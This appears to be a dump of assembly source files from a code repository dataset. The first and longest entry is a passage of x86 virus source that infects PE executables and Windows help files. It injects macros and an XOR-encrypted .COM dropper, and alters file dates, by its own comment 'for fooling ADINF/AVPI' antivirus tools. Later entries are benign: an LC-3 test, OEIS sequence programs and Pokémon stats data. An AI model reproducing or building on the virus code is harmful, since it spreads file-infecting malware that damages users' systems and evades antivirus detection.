PUSH ESI
XOR ECX,ECX
MOV CL,LEN_LOADER
REP MOVSB
CALL SPE_THUNK
POP EDI
LEA ESI,SPE32_BUFF[EDX]
REP MOVSB
POP EAX
LEA ESI,MAIN_BUFF[EDX]
MOV CX,SIZE_MBUFF
CALL WRITE_FILE
GO1_INF_EXIT: JB INF_EXIT
MOV EDI,ESI
MOV ESI,EDX
MOV ECX,12345678H
GOFF CURRENT_LEN,4
PUSH ECX EDI
REP MOVSB
POP ESI ECX
PUSH ECX EBX
MOV EAX,12345678H
GOFF MASK_CR,4
SHR ECX,1
GOFF LOOP_CR
SHR ECX,1 ;NOP/NOP
LOOP_CR_IMM: SUB EDI,4 ;SUB EDI,2
MOV EBX,[EDI]
DB LEN_FILL_CRYPT DUP (90H)
GOFF END_LOOP_CR
DB 90H ;66H
MOV [EDI],EBX
LOOP LOOP_CR_IMM
POP EBX ECX
MOV EAX,12345678H
GOFF PHYS_BODY_OFF,4
CALL WRITE_FILE
LEA ESI,PHEADER[EDX]
MOV AL,1 PTR [PEH_NUMOFOBJECT.ESI]
IMUL EAX,SIZE OBJECT_TABLE
ADD AX,SIZE PE_HEADER
XCHG EAX,ECX
MOV AX,[ESI.DOSH_LFANEW-SIZE DOS_HEADER]
JMP SET_WRITE_FILE
;------------------------------------------------
CORR_SIZE_ECX: MOV EAX,ECX
CORR_SIZE: PUSH EDX
XOR EDX,EDX
DIV [PEH_OBJALIGN.ESI]
AND EDX,EDX
JE NO_ALIGN
INC EAX
NO_ALIGN: MUL [PEH_OBJALIGN.ESI]
POP EDX
MOV [OT_VIRTSIZE.EDI],EAX
RETN
;------------------------------------------------
MACRO_FNAME PROC
PUSH ESI
LEA ESI,RDROP_NAME[EDX]
MOV EAX,'\:C'
STOSD
SHR EAX,16
STOSW
STORE_NLETT: MOVSB
CMP 1 ptr [esi],'.'
JNE STORE_NLETT
MOV EAX,'PMT.'
GOFF TEMP_EXT,3
STOSD
POP ESI
INF_EXIT: RET
ENDP
;------------------------------------------------
GOFF INF_HLP
DEC EAX ;EAX = 0
CALL GET_RANDOM
LEA EDI,FIRST_DROP_MASK[EDX]
STOSW
SHR EAX,16
MOV RELO_MASK2[EDI-2],AX
LODSD ;HLP_HEADER
CMP EAX,HLP_MAGIC
JNE INF_EXIT
;1. READ BEGIN OF HLP-DIRECTORY
LODSD ;HLP_START_DIRECTORYSTART
MOV EDI,ESI
CMPSD ;LEA ESI,[ESI+SIZE HLP_START-8]
CMPSD
MOV CH,LEN_HLP_DIR SHR 8 ;CL=0
CALL READ_FILE
JB INF_EXIT
;2. FIND "|SYSTEM" STRING AND GET OFFSET
MOV AL,'|'
FIND_SYSTEM: REPNE SCASB
JNE INF_EXIT
CMP 4 PTR [EDI],'TSYS' ;"|SYSTEM" BLOCK?
JNE FIND_SYSTEM
XCHG EAX,ECX
MOV CL,SIZE FILE_HEADER+SIZE SYSTEM_HEADER
MOV EAX,[ESI.HLP_START_ENTIREFILESIZE-SIZE HLP_START]
XCHG EAX,[EDI+7] ;STORE NEW "SYSTEM" OFFSET
;3. READ SYSTEM PAGE (LENGTH READ BEFORE)
LEA ESI,SYS_FILE_HEADER[EDX]
LEA EDI,[EAX+ECX] ;OFFSET "SYSTEM" DATA
CALL READ_FILE
JB INF_EXIT
CMP [ESI+(SIZE FILE_HEADER).SYSTEM_HEADER_MINOR],16
JBE INF_EXIT
;4. CHECK SECONDS IF FILE ALREADY INFECTED
CMP AL,1 PTR [ESI+(SIZE FILE_HEADER).SYSTEM_HEADER_GENDATE]
JE INF_EXIT
MOV 1 PTR [ESI+(SIZE FILE_HEADER).SYSTEM_HEADER_GENDATE],AL
;5. GENERATE OUR MACROS
PUSH EDI
LEA EDI,[ESI+ECX] ;BUFF4MACRO
CALL GEN_MACROS ;EXIT: EAX=MACROLENGTH
;6. CORRECT USED "SYSTEM" LENGTH
ADD [ESI.FILE_HEADER_USEDSPACE],EAX
ADD [ESI.FILE_HEADER_RESERVEDSPACE],EAX
;7. WRITE MACRO HEADERS+OUR MACRO IN THE END OF MODULE
LEA ECX,[EAX+SIZE FILE_HEADER+SIZE SYSTEM_HEADER]
CALL HLP_WRITE_FILE
POP EDI
JB INF_EXIT
LODSD ;FILE_HEADER_RESERVEDSPACE
SUB EAX,ECX
;8. REWRITE OLD "SYSTEM" DATA IN THE END OF MODULE
MOV CX,LEN_IOBUFF-4
WRITE_NEXT_BLK: SUB EAX,ECX
JAE IS_LONG_DATA
ADD ECX,EAX
XOR EAX,EAX
IS_LONG_DATA: PUSH EAX
MOV EAX,EDI
ADD EDI,ECX
CALL READ_FILE
JB EXIT_READWRITE
CALL HLP_WRITE_FILE
EXIT_READWRITE: POP EAX
JB WAS_ERROR
AND EAX,EAX
JNE WRITE_NEXT_BLK
;9. WRITE CORRECTED HLP_HEADER (VIA WRITE_FILE)
LEA ESI,HLP_HEADER[EDX]
PUSH SIZE HLP_START
POP ECX
CALL WRITE_FILE ;ASSUME THAT EAX=0
;10. CREATE AND WRITE ENCRYPTED DROPPER IN THE END OF FILE (VIA HLP_WRITE_FILE)
CALL SPE_THUNK ;ECX=LENGTH OF DROPPER
PUSH ECX ESI
LEA EDI,FIRST_DROP_MASK[EDX]
MOV AX,[EDI]
ENCRYPT_HDROP: XOR [ESI],AX
ADD AX,RELO_MASK2[EDI]
INC ESI
LOOP ENCRYPT_HDROP
POP ESI ECX
CALL HLP_WRITE_FILE
;11. WRITE HLP_DIRECTORY WITH CORRECTED OFFSET OF "SYSTEM" BLOCK
LEA ESI,HLP_DIRECTORY[EDX]
MOV EAX,[ESI.HLP_START_DIRECTORYSTART-SIZE HLP_START]
MOV CX,LEN_HLP_DIR AND 0FF00H
;------------------------------------------------
SET_WRITE_FILE: CALL SET_DATE
JMP WRITE_FILE
;------------------------------------------------
READ_FILE_BUFF_0:
XOR EAX,EAX
READ_FILE_BUFF: LEA ESI,MAIN_BUFF[EDX]
MOV CX,SIZE_MBUFF
JMP READ_FILE
;------------------------------------------------
ZIP_READ_FILE: ADD EAX,ZIP_CUR_OFF[EDX]
MOV ZIP_CUR_OFF[EDX],EAX
;ENTRY: EAX=POS,ECX=LENGTH,EBX=HANDLE,ESI=&BUFFER4READ
;EXIT: CF=1 IF ERROR AND EAX=ERROR CODE OR EAX=(REAL BYTES READ-LENGTH)
READ_FILE PROC
PUSH EDX
MOV DX,R0_READFILE
GO_READ: XCHG EAX,EDX
CALL FILE_IO
POP EDX
JB WAS_ERROR
SUB EAX,ECX
WAS_ERROR: RET
ENDP
;------------------------------------------------
HLP_WRITE_FILE: MOV EAX,[HLP_HEADER.HLP_START_ENTIREFILESIZE][EDX]
ADD [HLP_HEADER.HLP_START_ENTIREFILESIZE][EDX],ECX
;------------------------------------------------
WRITE_FILE: PUSH EDX
MOV DX,R0_WRITEFILE
JMP GO_READ
;------------------------------------------------
SET_DATE: XOR 1 PTR [ESP+8],1 ;CHANGE TIME FOR FOOLING ADINF/AVPI
SET_TIME: PUSH EAX
CALL GET_SYS_TIME
MOV INF_TIME[EDX],EAX
POP EAX
RETN
;------------------------------------------------
;ENTRY: EDI=&BUFFER FOR STORING MACROS
;EXIT: EAX=LENGTH OF MACRO
GEN_MACROS PROC
PUSH EBX ESI EBP EDI
LEA EDI,TEMP_EXT[EDX]
CALL GEN_EXT ;EAX = 0
LEA EDI,RDROP_NAME[EDX]
CALL GEN_NAME
MOV EAX,'MOC.'
STOSD
XOR AL,AL
STOSB
CALL GET_RANDOM_MSK
XCHG EAX,ECX
CALL GET_RANDOM_MSK
MOV AH,CL
ADD AX,'AA'
LEA ESI,RUN_DROPPER[EDX]
LEA EDI,MAIN_BUFF[EDX]
MOV 2 PTR DS:UU_MASK[ESI],AX
MOV CL,LEN_UUD
REP MOVSB
MOV CL,LEN_RDROP_CON
XCHG EAX,EBX
UUE_BYTE: LODSB
PUSH EAX
SHR AL,4
ADD AL,BL
STOSB
POP EAX
AND AL,0FH
ADD AL,BH
STOSB
LOOP UUE_BYTE
POP EDI
PUSH EDI
LEA ESI,RR_MACRO[EDX]
CALL HLP_STORE
LEA ESI,MAIN_BUFF[EDX]
XOR EBP,EBP ;FIRST ITERATION
MOV EBX,(LEN_UUD+2*LEN_RDROP_CON) ;LENGTH OF MACROS
NEXT_ITER: PUSH ESI
CALL HLP_STORE_DROP
DEC EDI ;SKIP '
| 22.420635 | 84 | 0.659194 |
743c425b5159c6afdfb2a38a77cd774ce0fa1e8c | 193 | asm | Assembly | ReAssemblerTest.asm | hackingotter/LC3-Simulator | dbb58929922149b29c0f0cf630d46261ed7cb01f | [
"MIT"
] | null | null | null | ReAssemblerTest.asm | hackingotter/LC3-Simulator | dbb58929922149b29c0f0cf630d46261ed7cb01f | [
"MIT"
] | null | null | null | ReAssemblerTest.asm | hackingotter/LC3-Simulator | dbb58929922149b29c0f0cf630d46261ed7cb01f | [
"MIT"
] | 1 | 2018-09-22T23:01:40.000Z | 2018-09-22T23:01:40.000Z | .ORIG x3000
AND R0, R0, #0;
AND R1, R0, R0;
ADD R0, R0, #1;
ADD R1, R1, x10;
TEST_STRING .STRINGZ "abcdefg"
.FILL -1
Te .FILL x12bd
.FILL 0x343d
Anothing .STRINGZ 'a'
.FILL -1
AND R4,R3,R2
.END | 14.846154 | 30 | 0.663212 |
0030e8afeccb075fb69e32337c5dbf3ef7f02852 | 1,631 | asm | Assembly | programs/oeis/103/A103115.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/103/A103115.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/103/A103115.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A103115: a(n) = 6*n*(n-1)-1.
; -1,-1,11,35,71,119,179,251,335,431,539,659,791,935,1091,1259,1439,1631,1835,2051,2279,2519,2771,3035,3311,3599,3899,4211,4535,4871,5219,5579,5951,6335,6731,7139,7559,7991,8435,8891,9359,9839,10331,10835,11351,11879,12419,12971,13535,14111,14699,15299,15911,16535,17171,17819,18479,19151,19835,20531,21239,21959,22691,23435,24191,24959,25739,26531,27335,28151,28979,29819,30671,31535,32411,33299,34199,35111,36035,36971,37919,38879,39851,40835,41831,42839,43859,44891,45935,46991,48059,49139,50231,51335,52451,53579,54719,55871,57035,58211,59399,60599,61811,63035,64271,65519,66779,68051,69335,70631,71939,73259,74591,75935,77291,78659,80039,81431,82835,84251,85679,87119,88571,90035,91511,92999,94499,96011,97535,99071,100619,102179,103751,105335,106931,108539,110159,111791,113435,115091,116759,118439,120131,121835,123551,125279,127019,128771,130535,132311,134099,135899,137711,139535,141371,143219,145079,146951,148835,150731,152639,154559,156491,158435,160391,162359,164339,166331,168335,170351,172379,174419,176471,178535,180611,182699,184799,186911,189035,191171,193319,195479,197651,199835,202031,204239,206459,208691,210935,213191,215459,217739,220031,222335,224651,226979,229319,231671,234035,236411,238799,241199,243611,246035,248471,250919,253379,255851,258335,260831,263339,265859,268391,270935,273491,276059,278639,281231,283835,286451,289079,291719,294371,297035,299711,302399,305099,307811,310535,313271,316019,318779,321551,324335,327131,329939,332759,335591,338435,341291,344159,347039,349931,352835,355751,358679,361619,364571,367535,370511
bin $0,2
mov $1,$0
mul $1,12
sub $1,1
| 203.875 | 1,560 | 0.822808 |
4f50bc6311ec27eec489b95ac9c59b38a401b151 | 173 | asm | Assembly | fonts.asm | traidna/MUMPS-TI99-4A | b19c5819999a6f204a20f0496a153ba23ee8edf4 | [
"CC0-1.0"
] | null | null | null | fonts.asm | traidna/MUMPS-TI99-4A | b19c5819999a6f204a20f0496a153ba23ee8edf4 | [
"CC0-1.0"
] | null | null | null | fonts.asm | traidna/MUMPS-TI99-4A | b19c5819999a6f204a20f0496a153ba23ee8edf4 | [
"CC0-1.0"
] | null | null | null | ;;Standard (the large caps you seek), 04B0h 32 – 95 8
;;Small Capitals (capital letters used by Basic), 06B0h 32 – 95 7
;;Lowercase (actually, small caps), 0870h 96 – 126 7
| 43.25 | 65 | 0.705202 |
6ecfde0de252bf3db0f36837006c4d935e6b4ef2 | 404 | asm | Assembly | h5.p1.asm | juancstlm/Assembly-Programming | d0559494b85c3847cc84c5bbe8ada6d0fb3af82e | [
"MIT"
] | null | null | null | h5.p1.asm | juancstlm/Assembly-Programming | d0559494b85c3847cc84c5bbe8ada6d0fb3af82e | [
"MIT"
] | 1 | 2018-05-15T00:41:35.000Z | 2018-05-15T00:41:35.000Z | h5.p1.asm | juancstlm/Assembly-Programming | d0559494b85c3847cc84c5bbe8ada6d0fb3af82e | [
"MIT"
] | null | null | null | ; change all s characters into p
.386
.model flat,stdcall
.stack 4096
ExitProcess proto,dwExitCode:dword
.data
alpha BYTE "mississippi",0
.code
main proc
mov edi, OFFSET alpha
mov al,'s' ; look for 's'
mov bl,'p' ; replace with 'p'
mov ecx, LENGTHOF alpha
cld
L2:
repne scasb
jnz quit
dec edi
L1: mov [edi], bl
jmp L2
quit:
invoke ExitProcess,0
main endp
end main | 14.962963 | 35 | 0.665842 |
8ba58305ab53ac6500667b0d4230e4119c4ad5cc | 518 | asm | Assembly | oeis/323/A323650.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/323/A323650.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/323/A323650.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A323650: Flower garden sequence (see Comments for precise definition).
; Submitted by Christian Krause
; 0,1,3,7,15,19,27,39,63,67,75,87,111,123,147,183,255,259,267,279,303,315,339,375,447,459,483,519,591,627,699,807,1023,1027,1035,1047,1071,1083,1107,1143,1215,1227,1251,1287,1359,1395,1467,1575,1791,1803,1827,1863,1935,1971,2043,2151,2367,2403,2475
lpb $0
sub $0,1
mov $2,$0
max $2,0
seq $2,323651 ; Number of elements added at n-th stage to the toothpick structure of A323650.
add $1,$2
lpe
mov $0,$1
| 39.846154 | 248 | 0.727799 |
400e23b3546cfaf1ea0ecf217cacc6fcde5ce858 | 1,100 | asm | Assembly | programs/oeis/276/A276283.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/276/A276283.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/276/A276283.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A276283: Expansion of (1 + x + 3*x^2 + x^3)/((1 - x)^2*(1 + x^2)).
; 1,3,7,11,13,15,19,23,25,27,31,35,37,39,43,47,49,51,55,59,61,63,67,71,73,75,79,83,85,87,91,95,97,99,103,107,109,111,115,119,121,123,127,131,133,135,139,143,145,147,151,155,157,159,163,167,169,171,175,179,181,183,187,191,193,195,199,203,205,207,211,215,217,219,223,227,229,231,235,239,241,243,247,251,253,255,259,263,265,267,271,275,277,279,283,287,289,291,295,299,301,303,307,311,313,315,319,323,325,327,331,335,337,339,343,347,349,351,355,359,361,363,367,371,373,375,379,383,385,387,391,395,397,399,403,407,409,411,415,419,421,423,427,431,433,435,439,443,445,447,451,455,457,459,463,467,469,471,475,479,481,483,487,491,493,495,499,503,505,507,511,515,517,519,523,527,529,531,535,539,541,543,547,551,553,555,559,563,565,567,571,575,577,579,583,587,589,591,595,599,601,603,607,611,613,615,619,623,625,627,631,635,637,639,643,647,649,651,655,659,661,663,667,671,673,675,679,683,685,687,691,695,697,699,703,707,709,711,715,719,721,723,727,731,733,735,739,743,745,747
mov $1,$0
mod $0,4
mul $1,6
add $1,$0
div $1,4
mul $1,2
add $1,1
| 100 | 964 | 0.708182 |
a3a90c6b508bbf5ced8f31120d6f5a5e2f6c3e1a | 830 | asm | Assembly | data/pokemon/base_stats/gulpin.asm | TastySnax12/pokecrystal16-493-plus | 9de36c8803c9bdf4b8564ed547f988b0b66f0c41 | [
"blessing"
] | 2 | 2021-07-31T07:05:06.000Z | 2021-10-16T03:32:26.000Z | data/pokemon/base_stats/gulpin.asm | TastySnax12/pokecrystal16-493-plus | 9de36c8803c9bdf4b8564ed547f988b0b66f0c41 | [
"blessing"
] | null | null | null | data/pokemon/base_stats/gulpin.asm | TastySnax12/pokecrystal16-493-plus | 9de36c8803c9bdf4b8564ed547f988b0b66f0c41 | [
"blessing"
] | 3 | 2021-01-15T18:45:40.000Z | 2021-10-16T03:35:27.000Z | db 0 ; species ID placeholder
db 70, 43, 53, 40, 43, 53
; hp atk def spd sat sdf
db POISON, POISON ; type
db 225 ; catch rate
db 75 ; base exp
db NO_ITEM, BIG_PEARL ; items
db GENDER_F50 ; gender ratio
db 100 ; unknown 1
db 20 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/gulpin/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_FLUCTUATING ; growth rate
dn EGG_INDETERMINATE, EGG_INDETERMINATE ; egg groups
; tm/hm learnset
tmhm DYNAMICPUNCH, HEADBUTT, CURSE, ROLLOUT, TOXIC, ROCK_SMASH, HIDDEN_POWER, SUNNY_DAY, SNORE, PROTECT, RAIN_DANCE, GIGA_DRAIN, ENDURE, FRUSTRATION, SOLARBEAM, RETURN, SHADOW_BALL, MUD_SLAP, DOUBLE_TEAM, ICE_PUNCH, SWAGGER, SLEEP_TALK, SLUDGE_BOMB, DEFENSE_CURL, THUNDERPUNCH, DREAM_EATER, REST, ATTRACT, FIRE_PUNCH, NIGHTMARE, STRENGTH, ICE_BEAM
; end
| 37.727273 | 348 | 0.737349 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.